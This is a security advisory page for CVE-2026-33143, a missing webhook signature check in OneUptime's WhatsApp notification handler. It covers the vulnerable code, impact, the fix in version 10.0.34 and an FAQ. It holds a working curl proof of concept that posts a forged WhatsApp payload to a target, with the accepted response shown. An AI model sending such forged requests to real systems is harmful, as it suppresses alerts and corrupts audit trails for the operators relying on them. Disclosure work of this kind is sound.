CVE-2026-33143: OneUptime: WhatsApp Webhook Missing Signature Verification

Published Mar 18, 2026
·
Updated

Summary

The WhatsApp POST webhook handler (/notification/whatsapp/webhook) processes incoming status update events without verifying the Meta/WhatsApp X-Hub-Signature-256 HMAC signature, allowing any unauthenticated attacker to send forged webhook payloads that manipulate notification delivery status records, suppress alerts, and corrupt audit trails. The codebase already implements proper signature verification for Slack webhooks.

Details

Vulnerable code — App/FeatureSet/Notification/API/WhatsApp.ts lines 372-430: typescript router.post( "/webhook", async (req: ExpressRequest, res: ExpressResponse, next: NextFunction) => { try { const body: JSONObject = req.body as JSONObject; // NO signature verification! No X-Hub-Signature-256 check!

if ( (body["object"] as string | undefined) !== "whatsappbusinessaccount" ) { return Response.sendEmptySuccessResponse(req, res); }

const entries: JSONArray | undefined = body["entry"] as JSONArray | undefined; // ... processes entries and updates WhatsApp log status records

Compare with the Slack webhook which correctly validates signatures:

Common/Server/Middleware/SlackAuthorization.ts line 58: typescript const isValid = crypto.timingSafeEqual( Buffer.from(computedSignature), Buffer.from(slackSignature) );

The WhatsApp GET webhook correctly validates the verify token — only the POST handler (which processes actual events) is missing signature verification.

No existing CVEs cover webhook signature verification issues in OneUptime. The closest is GHSA-cw6x-mw64-q6pv (WhatsApp Resend Verification Auth Bypass), which is about a different WhatsApp-related authorization issue.

PoC

Environment: OneUptime v10.0.23 via docker compose up (default configuration)

bash Forge a delivery status update for any WhatsApp notification — no auth, no signature curl -sv -X POST http://TARGET:8080/api/notification/whatsapp/webhook \ -H "Content-Type: application/json" \ -d '{ "object": "whatsappbusinessaccount", "entry": [{ "id": "FAKEWABAID", "changes": [{ "value": { "messagingproduct": "whatsapp", "metadata": { "displayphonenumber": "+15550000000", "phonenumberid": "FAKEPHONEID" }, "messages": [{ "from": "15551234567", "id": "wamid.FAKE", "timestamp": "1234567890", "text": {"body": "INJECTEDMESSAGE"}, "type": "text" }] }, "field": "messages" }] }] }'

Docker validation (oneuptime/app:release, APPVERSION=10.0.23): < HTTP/1.1 200 OK {}

- Fake WhatsApp webhook payload accepted with HTTP 200 - No X-Hub-Signature-256 header provided — no signature verification at all - Attacker can inject arbitrary inbound WhatsApp messages and forge delivery status updates

Impact

Any unauthenticated remote attacker can forge WhatsApp webhook events:

- False delivery status: Mark undelivered WhatsApp notifications as "delivered", hiding delivery failures from administrators - Alert suppression: Critical on-call notifications that failed to deliver appear successful, preventing escalation - Log manipulation: WhatsApp notification logs updated with forged status data, corrupting audit trails - Incident response disruption: During active incidents, forging "delivered" statuses prevents the system from retrying failed notification deliveries

Other sources

OneUptime is a solution for monitoring and managing online services. Prior to version 10.0.34, the WhatsApp POST webhook handler (/notification/whatsapp/webhook) processes incoming status update events without verifying the Meta/WhatsApp X-Hub-Signature-256 HMAC signature, allowing any unauthenticated attacker to send forged webhook payloads that manipulate notification delivery status records, suppress alerts, and corrupt audit trails. The codebase already implements proper signature verification for Slack webhooks. This issue has been patched in version 10.0.34.

— MITRE

Affected Software

2 affected componentsFixes available
npm/oneuptime<10.0.34
10.0.34
Hackerbay Oneuptime<10.0.34

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/oneuptime to a version that resolves this vulnerability.

    Fixed in 10.0.34
  2. Upgrade

    Upgrade OneUptime to a version that resolves this vulnerability.

    Fixed in 10.0.34

Event History

Mar 18, 2026
Advisory Published
via GitHub·05:25 PM
Data Sourced
via GitHub·05:25 PM
DescriptionWeaknessAffected Software
Mar 20, 2026
CVE Published
via MITRE·08:05 PM
Data Sourced
via MITRE·08:05 PM
DescriptionWeakness
Data Sourced
via NVD·09:17 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

What is the severity of CVE-2026-33143?

The severity of CVE-2026-33143 is classified as high due to the potential for unauthenticated attackers to manipulate webhook payloads.

2

How do I fix CVE-2026-33143?

To fix CVE-2026-33143, ensure that the WhatsApp POST webhook handler verifies the Meta/WhatsApp `X-Hub-Signature-256` HMAC signature on incoming requests.

3

What systems are affected by CVE-2026-33143?

CVE-2026-33143 affects versions of the OneUptime package prior to 10.0.34.

4

Can CVE-2026-33143 lead to data breaches?

Yes, CVE-2026-33143 can lead to data breaches as attackers can forge webhook payloads and manipulate notification delivery.

5

Is there a patch available for CVE-2026-33143?

Yes, a patch is available in OneUptime version 10.0.34 which addresses the vulnerability.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203